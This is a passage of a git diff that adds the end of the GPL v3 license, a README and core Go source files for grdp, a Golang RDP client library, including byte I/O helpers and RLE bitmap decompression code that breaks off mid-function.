+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
\ No newline at end of file
diff --git a/lib/grdp/README.md b/lib/grdp/README.md
new file mode 100644
index 0000000..16cef68
--- /dev/null
+++ b/lib/grdp/README.md
@@ -0,0 +1,29 @@
+# Golang Remote Desktop Protocol
+
+grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**).
+
+Forked from icodeface/grdp
+
+## Status
+
+**The project is under development and not finished yet.**
+
+* [x] Standard RDP Authentication
+* [x] SSL Authentication
+* [x] NTLMv2 Authentication
+* [ ] Client UI(ugly)
+* [ ] VNC client(unfinished)
+
+## Example
+
+1. build in example dir on linux or windows
+2. start example on port 8088
+3. http://localhost:8088
+
+## Take ideas from
+
+* [rdpy](https://github.com/citronneur/rdpy)
+* [node-rdpjs](https://github.com/citronneur/node-rdpjs)
+* [gordp](https://github.com/Madnikulin50/gordp)
+* [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc)
+* [webRDP](https://github.com/Chorder/webRDP)
\ No newline at end of file
diff --git a/lib/grdp/core/io.go b/lib/grdp/core/io.go
new file mode 100644
index 0000000..bcb90ee
--- /dev/null
+++ b/lib/grdp/core/io.go
@@ -0,0 +1,131 @@
+package core
+
+import (
+ "encoding/binary"
+ "io"
+)
+
+type ReadBytesComplete func(result []byte, err error)
+
+func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) {
+ b := make([]byte, len)
+ go func() {
+ _, err := io.ReadFull(r, b)
+ //glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b))
+ cb(b, err)
+ }()
+}
+
+func ReadBytes(len int, r io.Reader) ([]byte, error) {
+ b := make([]byte, len)
+ length, err := io.ReadFull(r, b)
+ return b[:length], err
+}
+
+func ReadByte(r io.Reader) (byte, error) {
+ b, err := ReadBytes(1, r)
+ return b[0], err
+}
+
+func ReadUInt8(r io.Reader) (uint8, error) {
+ b, err := ReadBytes(1, r)
+ return uint8(b[0]), err
+}
+
+func ReadUint16LE(r io.Reader) (uint16, error) {
+ b := make([]byte, 2)
+ _, err := io.ReadFull(r, b)
+ if err != nil {
+ return 0, nil
+ }
+ return binary.LittleEndian.Uint16(b), nil
+}
+
+func ReadUint16BE(r io.Reader) (uint16, error) {
+ b := make([]byte, 2)
+ _, err := io.ReadFull(r, b)
+ if err != nil {
+ return 0, nil
+ }
+ return binary.BigEndian.Uint16(b), nil
+}
+
+func ReadUInt32LE(r io.Reader) (uint32, error) {
+ b := make([]byte, 4)
+ _, err := io.ReadFull(r, b)
+ if err != nil {
+ return 0, nil
+ }
+ return binary.LittleEndian.Uint32(b), nil
+}
+
+func ReadUInt32BE(r io.Reader) (uint32, error) {
+ b := make([]byte, 4)
+ _, err := io.ReadFull(r, b)
+ if err != nil {
+ return 0, nil
+ }
+ return binary.BigEndian.Uint32(b), nil
+}
+
+func WriteByte(data byte, w io.Writer) (int, error) {
+ b := make([]byte, 1)
+ b[0] = byte(data)
+ return w.Write(b)
+}
+
+func WriteBytes(data []byte, w io.Writer) (int, error) {
+ return w.Write(data)
+}
+
+func WriteUInt8(data uint8, w io.Writer) (int, error) {
+ b := make([]byte, 1)
+ b[0] = byte(data)
+ return w.Write(b)
+}
+
+func WriteUInt16BE(data uint16, w io.Writer) (int, error) {
+ b := make([]byte, 2)
+ binary.BigEndian.PutUint16(b, data)
+ return w.Write(b)
+}
+
+func WriteUInt16LE(data uint16, w io.Writer) (int, error) {
+ b := make([]byte, 2)
+ binary.LittleEndian.PutUint16(b, data)
+ return w.Write(b)
+}
+
+func WriteUInt32LE(data uint32, w io.Writer) (int, error) {
+ b := make([]byte, 4)
+ binary.LittleEndian.PutUint32(b, data)
+ return w.Write(b)
+}
+
+func WriteUInt32BE(data uint32, w io.Writer) (int, error) {
+ b := make([]byte, 4)
+ binary.BigEndian.PutUint32(b, data)
+ return w.Write(b)
+}
+
+func PutUint16BE(data uint16) (uint8, uint8) {
+ b := make([]byte, 2)
+ binary.BigEndian.PutUint16(b, data)
+ return uint8(b[0]), uint8(b[1])
+}
+
+func Uint16BE(d0, d1 uint8) uint16 {
+ b := make([]byte, 2)
+ b[0] = d0
+ b[1] = d1
+
+ return binary.BigEndian.Uint16(b)
+}
+
+func RGB565ToRGB(data uint16) (r, g, b uint8) {
+ r = uint8(uint32(data&0xF800)>>11) << 3
+ g = uint8(uint32(data&0x07E0)>>5) << 2
+ b = uint8(uint32(data&0x001F)) << 3
+
+ return
+}
diff --git a/lib/grdp/core/io_test.go b/lib/grdp/core/io_test.go
new file mode 100644
index 0000000..d466b7c
--- /dev/null
+++ b/lib/grdp/core/io_test.go
@@ -0,0 +1,19 @@
+package core_test
+
+import (
+ "bytes"
+ "encoding/hex"
+ "testing"
+
+ "KscanPro/lib/grdp/core"
+)
+
+func TestWriteUInt16LE(t *testing.T) {
+ buff := &bytes.Buffer{}
+ core.WriteUInt32LE(66538, buff)
+ result := hex.EncodeToString(buff.Bytes())
+ expected := "ea030100"
+ if result != expected {
+ t.Error(result, "not equals to", expected)
+ }
+}
diff --git a/lib/grdp/core/rle.go b/lib/grdp/core/rle.go
new file mode 100644
index 0000000..48c28b6
--- /dev/null
+++ b/lib/grdp/core/rle.go
@@ -0,0 +1,854 @@
+package core
+
+import (
+ "KscanPro/lib/grdp/glog"
+ "unsafe"
+)
+
+func CVAL(p *[]uint8) int {
+ a := int((*p)[0])
+ *p = (*p)[1:]
+ return a
+}
+
+func CVAL2(p *[]uint8, v *uint16) {
+ *v = *((*uint16)(unsafe.Pointer(&(*p)[0])))
+ //*v = binary.BigEndian.Uint16((*p)[0:2])
+ //fmt.Println("*v:", *v)
+ *p = (*p)[2:]
+}
+
+func REPEAT(f func(), count, x *int, width int) {
+ for (*count & ^0x7) != 0 && ((*x + 8) < width) {
+ for i := 0; i < 8; i++ {
+ f()
+ *count = *count - 1
+ *x = *x + 1
+ }
+ }
+
+ for (*count > 0) && (*x < width) {
+ f()
+ *count = *count - 1
+ *x = *x + 1
+ }
+}
+
+// /* 1 byte bitmap decompress */
+// func bitmap_decompress1(uint8 * output, int width, int height, uint8 * input, int size) bool{
+// uint8 *end = input + size;
+// uint8 *prevline = NULL, *line = NULL;
+// int opcode, count, offset, isfillormix, x = width;
+// int lastopcode = -1, insertmix = false, bicolour = false;
+// uint8 code;
+// uint8 colour1 = 0, colour2 = 0;
+// uint8 mixmask, mask = 0;
+// uint8 mix = 0xff;
+// int fom_mask = 0;
+
+// for (input < end){
+// fom_mask = 0;
+// code = CVAL(input);
+// opcode = code >> 4;
+// /* Handle different opcode forms */
+// switch (opcode){
+// case 0xc:
+// case 0xd:
+// case 0xe:
+// opcode -= 6;
+// count = code & 0xf;
+// offset = 16;
+// break;
+// case 0xf:
+// opcode = code & 0xf;
+// if (opcode < 9){
+// count = CVAL(input);
+// count |= CVAL(input) << 8;
+// }else{
+// count = (opcode < 0xb) ? 8 : 1;
+// }
+// offset = 0;
+// break;
+// default:
+// opcode >>= 1;
+// count = code & 0x1f;
+// offset = 32;
+// break;
+// }
+// /* Handle strange cases for counts */
+// if (offset != 0){
+// isfillormix = ((opcode == 2) || (opcode == 7));
+// if (count == 0){
+// if (isfillormix)
+// count = CVAL(input) + 1;
+// else
+// count = CVAL(input) + offset;
+// }else if (isfillormix){
+// count <<= 3;
+// }
+// }
+// /* Read preliminary data */
+// switch (opcode){
+// case 0: /* Fill */
+// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL))){
+// insertmix = true;
+// }
+// break;
+// case 8: /* Bicolour */
+// colour1 = CVAL(input);
+// case 3: /* Colour */
+// colour2 = CVAL(input);
+// break;
+// case 6: /* SetMix/Mix */
+// case 7: /* SetMix/FillOrMix */
+// mix = CVAL(input);
+// opcode -= 5;
+// break;
+// case 9: /* FillOrMix_1 */
+// mask = 0x03;
+// opcode = 0x02;
+// fom_mask = 3;
+// break;
+// case 0x0a: /* FillOrMix_2 */
+// mask = 0x05;
+// opcode = 0x02;
+// fom_mask = 5;
+// break;
+// }
+// lastopcode = opcode;
+// mixmask = 0;
+// /* Output body */
+// for (count > 0){
+// if (x >= width){
+// if (height <= 0)
+// return false;
+// x = 0;
+// height--;
+// prevline = line;
+// line = output + height * width;
+// }
+// switch (opcode){
+// case 0: /* Fill */
+// if (insertmix){
+// if (prevline == NULL)
+// line[x] = mix;
+// else
+// line[x] = prevline[x] ^ mix;
+// insertmix = false;
+// count--;
+// x++;
+// }
+// if (prevline == NULL){
+// REPEAT(line[x] = 0)
+// }else{
+// REPEAT(line[x] = prevline[x])
+// }
+// break;
+// case 1: /* Mix */
+// if (prevline == NULL){
+// REPEAT(line[x] = mix)
+// }else{
+// REPEAT(line[x] = prevline[x] ^ mix)
+// }
+// break;
+// case 2: /* Fill or Mix */
+// if (prevline == NULL){
+// REPEAT
+// (
+// MASK_UPDATE();
+// if (mask & mixmask)
+// line[x] = mix;
+// else
+// line[x] = 0;
+// )
+// }else{
+// REPEAT
+// (
+// MASK_UPDATE();
+// if (mask & mixmask)
+// line[x] = prevline[x] ^ mix;
+// else
+// line[x] = prevline[x];
+// )
+// }
+// break;
+// case 3: /* Colour */
+// REPEAT(line[x] = colour2)
+// break;
+// case 4: /* Copy */
+// REPEAT(line[x] = CVAL(input))
+// break;
+// case 8: /* Bicolour */
+// REPEAT
+// (
+// if (bicolour)
+// {
+// line[x] = colour2;
+// bicolour = false;
+// }
+// else
+// {
+// line[x] = colour1;
+// bicolour = true; count++;
+// }
+// )
+// break;
+// case 0xd: /* White */
+// REPEAT(line[x] = 0xff)
+// break;
+// case 0xe: /* Black */
+// REPEAT(line[x] = 0)
+// break;
+// default:
+// fmt.Printf("bitmap opcode 0x%x\n", opcode);
+// return false;
+// }
+// }
+// }
+// return true;
+// }
+
+// /* 2 byte bitmap decompress */
+func decompress2(output *[]uint8, width, height int, input []uint8, size int) bool {
+ var (
+ prevline, line int
+ opcode, count, offset, code int
+ x int = width
+ lastopcode int = -1
+ insertmix, bicolour, isfillormix bool
+ mixmask, mask uint8
+ colour1, colour2 uint16
+ mix uint16 = 0xffff
+ fom_mask uint8
+ )
+
+ out := make([]uint16, width*height)
+ for len(input) != 0 {
+ fom_mask = 0
+ code = CVAL(&input)
+ opcode = code >> 4
+ /* Handle different opcode forms */
+ switch opcode {
+ case 0xc, 0xd, 0xe:
+ opcode -= 6
+ count = code & 0xf
+ offset = 16
+ break
+ case 0xf:
+ opcode = code & 0xf
+ if opcode < 9 {
+ count = CVAL(&input)
+ count |= CVAL(&input) << 8
+ } else {
+ count = 1
+ if opcode < 0xb {
+ count = 8
+ }
+ }
+ offset = 0
+ break
+ default:
+ opcode >>= 1
+ count = code & 0x1f
+ offset = 32
+ break
+ }
+
+ /* Handle strange cases for counts */
+ if offset != 0 {
+ isfillormix = ((opcode == 2) || (opcode == 7))
+ if count == 0 {
+ if isfillormix {
+ count = CVAL(&input) + 1
+ } else {
+ count = CVAL(&input) + offset
+ }
+ } else if isfillormix {
+ count <<= 3
+ }
+ }
+ /* Read preliminary data */
+ switch opcode {
+ case 0: /* Fill */
+ if (lastopcode == opcode) && !((x == width) && (prevline == 0)) {
+ insertmix = true
+ }
+ break
+ case 8: /* Bicolour */
+ CVAL2(&input, &colour1)
+ CVAL2(&input, &colour2)
+ break
+ case 3: /* Colour */
+ CVAL2(&input, &colour2)
+ break
+ case 6: /* SetMix/Mix */
+ fallthrough
+ case 7: /* SetMix/FillOrMix */
+ CVAL2(&input, &mix)
+ opcode -= 5
+ break
+ case 9: /* FillOrMix_1 */
+ mask = 0x03
+ opcode = 0x02
+ fom_mask = 3
+ break
+ case 0x0a: /* FillOrMix_2 */
+ mask = 0x05
+ opcode = 0x02
+ fom_mask = 5
+ break
+ }
+ lastopcode = opcode
+ mixmask = 0
+ /* Output body */
+ for count > 0 {
+ if x >= width {
+ if height <= 0 {
+ return false
+ }
+
+ x = 0
+ height--
+ prevline = line
+ line = height * width
+ }
+ switch opcode {
+ case 0: /* Fill */
+ if insertmix {
+ if prevline == 0 {
+ out[x+line] = mix
+ } else {
+ out[x+line] = out[prevline+x] ^ mix
+ }
+ insertmix = false
+ count--
+ x++
+ }
+ if prevline == 0 {
+ REPEAT(func() {
+ out[x+line] = 0
+ }, &count, &x, width)
+ } else {
+ REPEAT(func() {
+ out[x+line] = out[prevline+x]
+ }, &count, &x, width)
+ }
+ break
+ case 1: /* Mix */
+ if prevline == 0 {
+ REPEAT(func() {
+ out[x+line] = mix
+ }, &count, &x, width)
+ } else {
+ REPEAT(func() {
+ out[x+line] = out[prevline+x] ^ mix
+ }, &count, &x, width)
+ }
+ break
+ case 2: /* Fill or Mix */
+ if prevline == 0 {
+ REPEAT(func() {
+ mixmask <<= 1
+ if mixmask == 0 {
+ mask = fom_mask
+ if fom_mask == 0 {
+ mask = uint8(CVAL(&input))
+ mixmask = 1
+ }
+ }
+ if mask&mixmask != 0 {
+ out[x+line] = mix
+ } else {
+ out[x+line] = 0
+ }
+ }, &count, &x, width)
+ } else {
+ REPEAT(func() {
+ mixmask = mixmask << 1
+ if mixmask == 0 {
+ mask = fom_mask
+ if fom_mask == 0 {
+ mask = uint8(CVAL(&input))
+ mixmask = 1
+ }
+ }
+ if mask&mixmask != 0 {
+ out[x+line] = out[prevline+x] ^ mix
+ } else {
+ out[x+line] = out[prevline+x]
+ }
+ }, &count, &x, width)
+ }
+ break
+ case 3: /* Colour */
+ REPEAT(func() {
+ out[x+line] = colour2
+ }, &count, &x, width)
+ break
+ case 4: /* Copy */
+ REPEAT(func() {
+ var a uint16
+ CVAL2(&input, &a)
+ out[x+line] = a
+ }, &count, &x, width)
+
+ break
+ case 8: /* Bicolour */
+ REPEAT(func() {
+ if bicolour {
+ out[x+line] = colour2
+ bicolour = false
+ } else {
+ out[x+line] = colour1
+ bicolour = true
+ count++
+ }
+ }, &count, &x, width)
+
+ break
+ case 0xd: /* White */
+ REPEAT(func() {
+ out[x+line] = 0xffff
+ }, &count, &x, width)
+ break
+ case 0xe: /* Black */
+ REPEAT(func() {
+ out[x+line] = 0
+ }, &count, &x, width)
+ break
+ default:
+ glog.Infof("bitmap opcode 0x%x\n", opcode)
+ return false
+ }
+ }
+ }
+ j := 0
+ for _, v := range out {
+ (*output)[j], (*output)[j+1] = PutUint16BE(v)
+ j += 2
+ }
+ return true
+}
+
+// /* 3 byte bitmap decompress */
+// func bitmap_decompress3(uint8 * output, int width, int height, uint8 * input, int size)bool{
+// uint8 *end = input + size;
+// uint8 *prevline = NULL, *line = NULL;
+// int opcode, count, offset, isfillormix, x = width;
+// int lastopcode = -1, insertmix = false, bicolour = false;
+// uint8 code;
+// uint8 colour1[3] = {0, 0, 0}, colour2[3] = {0, 0, 0};
+// uint8 mixmask, mask = 0;
+// uint8 mix[3] = {0xff, 0xff, 0xff};
+// int fom_mask = 0;
+
+// while (input < end)
+// {
+// fom_mask = 0;
+// code = CVAL(input);
+// opcode = code >> 4;
+// /* Handle different opcode forms */
+// switch (opcode)
+// {
+// case 0xc:
+// case 0xd:
+// case 0xe:
+// opcode -= 6;
+// count = code & 0xf;
+// offset = 16;
+// break;
+// case 0xf:
+// opcode = code & 0xf;
+// if (opcode < 9)
+// {
+// count = CVAL(input);
+// count |= CVAL(input) << 8;
+// }
+// else
+// {
+// count = (opcode <
+// 0xb) ? 8 : 1;
+// }
+// offset = 0;
+// break;
+// default:
+// opcode >>= 1;
+// count = code & 0x1f;
+// offset = 32;
+// break;
+// }
+// /* Handle strange cases for counts */
+// if (offset != 0)
+// {
+// isfillormix = ((opcode == 2) || (opcode == 7));
+// if (count == 0)
+// {
+// if (isfillormix)
+// count = CVAL(input) + 1;
+// else
+// count = CVAL(input) + offset;
+// }
+// else if (isfillormix)
+// {
+// count <<= 3;
+// }
+// }
+// /* Read preliminary data */
+// switch (opcode)
+// {
+// case 0: /* Fill */
+// if ((lastopcode == opcode) && !((x == width) && (prevline == NULL)))
+// insertmix = true;
+// break;
+// case 8: /* Bicolour */
+// colour1[0] = CVAL(input);
+// colour1[1] = CVAL(input);
+// colour1[2] = CVAL(input);
+// case 3: /* Colour */
+// colour2[0] = CVAL(input);
+// colour2[1] = CVAL(input);
+// colour2[2] = CVAL(input);
+// break;
+// case 6: /* SetMix/Mix */
+// case 7: /* SetMix/FillOrMix */
+// mix[0] = CVAL(input);
+// mix[1] = CVAL(input);
+// mix[2] = CVAL(input);
+// opcode -= 5;
+// break;
+// case 9: /* FillOrMix_1 */
+// mask = 0x03;
+// opcode = 0x02;
+// fom_mask = 3;
+// break;
+// case 0x0a: /* FillOrMix_2 */
+// mask = 0x05;
+// opcode = 0x02;
+// fom_mask = 5;
+// break;
+// }
+// lastopcode = opcode;
+// mixmask = 0;
+// /* Output body */
+// while (count > 0)
+// {
+// if (x >= width)
+// {
+// if (height <= 0)
+// return false;
+// x = 0;
+// height--;
+// prevline = line;
+// line = output + height * (width * 3);
+// }
+// switch (opcode)
+// {
+// case 0: /* Fill */
+// if (insertmix)
+// {
+// if (prevline == NULL)
+// {
+// line[x * 3] = mix[0];
+// line[x * 3 + 1] = mix[1];
+// line[x * 3 + 2] = mix[2];
+// }
+// else
+// {
+// line[x * 3] =
+// prevline[x * 3] ^ mix[0];
+// line[x * 3 + 1] =
+// prevline[x * 3 + 1] ^ mix[1];
+// line[x * 3 + 2] =
+// prevline[x * 3 + 2] ^ mix[2];
+// }
+// insertmix = false;
+// count--;
+// x++;
+// }
+// if (prevline == NULL)
+// {
+// REPEAT
+// (
+// line[x * 3] = 0;
+// line[x * 3 + 1] = 0;
+// line[x * 3 + 2] = 0;
+// )
+// }
+// else
+// {
+// REPEAT
+// (
+// line[x * 3] = prevline[x * 3];
+// line[x * 3 + 1] = prevline[x * 3 + 1];
+// line[x * 3 + 2] = prevline[x * 3 + 2];
+// )
+// }
+// break;
+// case 1: /* Mix */
+// if (prevline == NULL)
+// {
+// REPEAT
+// (
+// line[x * 3] = mix[0];
+// line[x * 3 + 1] = mix[1];
+// line[x * 3 + 2] = mix[2];
+// )
+// }
+// else
+// {
+// REPEAT
+// (
+// line[x * 3] =
+// prevline[x * 3] ^ mix[0];
+// line[x * 3 + 1] =
+// prevline[x * 3 + 1] ^ mix[1];
+// line[x * 3 + 2] =
+// prevline[x * 3 + 2] ^ mix[2];
+// )
+// }
+// break;
+// case 2: /* Fill or Mix */
+// if (prevline == NULL)
+// {
+// REPEAT
+// (
+// MASK_UPDATE();
+// if (mask & mixmask)
+// {
+// line[x * 3] = mix[0];
+// line[x * 3 + 1] = mix[1];
+// line[x * 3 + 2] = mix[2];
+// }
+// else
+// {
+// line[x * 3] = 0;
+// line[x * 3 + 1] = 0;
+// line[x * 3 + 2] = 0;
+// }
+// )
+// }
+// else
+// {
+// REPEAT
+// (
+// MASK_UPDATE();
+// if (mask & mixmask)
+// {
+// line[x * 3] =
+// prevline[x * 3] ^ mix [0];
+// line[x * 3 + 1] =
+// prevline[x * 3 + 1] ^ mix [1];
+// line[x * 3 + 2] =
+// prevline[x * 3 + 2] ^ mix [2];
+// }
+// else
+// {
+// line[x * 3] =
+// prevline[x * 3];
+// line[x * 3 + 1] =
+// prevline[x * 3 + 1];
+// line[x * 3 + 2] =
+// prevline[x * 3 + 2];
+// }
+// )
+// }
+// break;
+// case 3: /* Colour */
+// REPEAT
+// (
+// line[x * 3] = colour2 [0];
+// line[x * 3 + 1] = colour2 [1];
+// line[x * 3 + 2] = colour2 [2];
+// )
+// break;
+// case 4: /* Copy */
+// REPEAT
+// (
+// line[x * 3] = CVAL(input);
+// line[x * 3 + 1] = CVAL(input);
+// line[x * 3 + 2] = CVAL(input);
+// )
+// break;
+// case 8: /* Bicolour */
+// REPEAT
+// (
+// if (bicolour)
+// {
+// line[x * 3] = colour2[0];
+// line[x * 3 + 1] = colour2[1];
+// line[x * 3 + 2] = colour2[2];
+// bicolour = false;
+// }
+// else
+// {
+// line[x * 3] = colour1[0];
+// line[x * 3 + 1] = colour1[1];
+// line[x * 3 + 2] = colour1[2];
+// bicolour = true;
+// count++;
+// }
+// )
+// break;
+// case 0xd: /* White */
+// REPEAT
+// (
+// line[x * 3] = 0xff;
+// line[x * 3 + 1] = 0xff;
+// line[x * 3 + 2] = 0xff;
+// )
+// break;
+// case 0xe: /* Black */
+// REPEAT
+// (
+// line[x * 3] = 0;
+// line[x * 3 + 1] = 0;
+// line[x * 3 + 2] = 0;
+// )
+// break;
+// default:
+// fmt.Printf("bitmap opcode 0x%x\n", opcode);
+// return false;
+// }
+// }
+// }
+// return true;
+// }
+
+/* decompress a colour plane */
+func processPlane(in *[]uint8, width, height int, output *[]uint8, j int) int {
+ var (
+ indexw int
+ indexh int
+ code int
+ collen int
+ replen int
+ color int
+ x int
+ revcode int
+ lastline int
+ thisline int
+ )
+ ln := len(*in)
+
+ lastline = 0
+ indexh = 0
+ i := 0
+ for indexh < height {
+ thisline = j + (width * height * 4) - ((indexh + 1) * width * 4)
+ color = 0
+ indexw = 0
+ i = thisline
+
+ if lastline == 0 {
+ for indexw < width {
+ code = CVAL(in)
+ replen = code & 0xf
+ collen = (code >> 4) & 0xf
+ revcode = (replen << 4) | collen
+ if (revcode <= 47) && (revcode >= 16) {
+ replen = revcode
+ collen = 0
+ }
+ for collen > 0 {
+ color = CVAL(in)
+ (*output)[i] = uint8(color)
+ i += 4
+
+ indexw++
+ collen--
+ }
+ for replen > 0 {
+ (*output)[i] = uint8(color)
+ i += 4
+ indexw++
+ replen--
+ }
+ }
+ } else {
+ for indexw < width {
+ code = CVAL(in)
+ replen = code & 0xf
+ collen = (code >> 4) & 0xf
+ revcode = (replen << 4) | collen
+ if (revcode <= 47) && (revcode >= 16) {
+ replen = revcode
+ collen = 0
+ }
+ for collen > 0 {
+ x = CVAL(in)
+ if x&1 != 0 {
+ x = x >> 1
+ x = x + 1
+ color = -x
+ } else {
+ x = x >> 1
+ color = x
+ }
+ x = int((*output)[indexw*4+lastline]) + color
+ (*output)[i] = uint8(x)
+ i += 4
+ indexw++
+ collen--
+ }
+ for replen > 0 {
+ x = int((*output)[indexw*4+lastline]) + color
+ (*output)[i] = uint8(x)
+ i += 4
+ indexw++
+ replen--
+ }
+ }
+ }
+ indexh++
+ lastline = thisline
+ }
+ return ln - len(*in)
+}
+
+/* 4 byte bitmap decompress */
+func decompress4(output *[]uint8, width, height int, input []uint8, size int) bool {
+ var (
+ code int
+ onceBytes, total int
+ )
+
+ code = CVAL(&input)
+ if code != 0x10 {
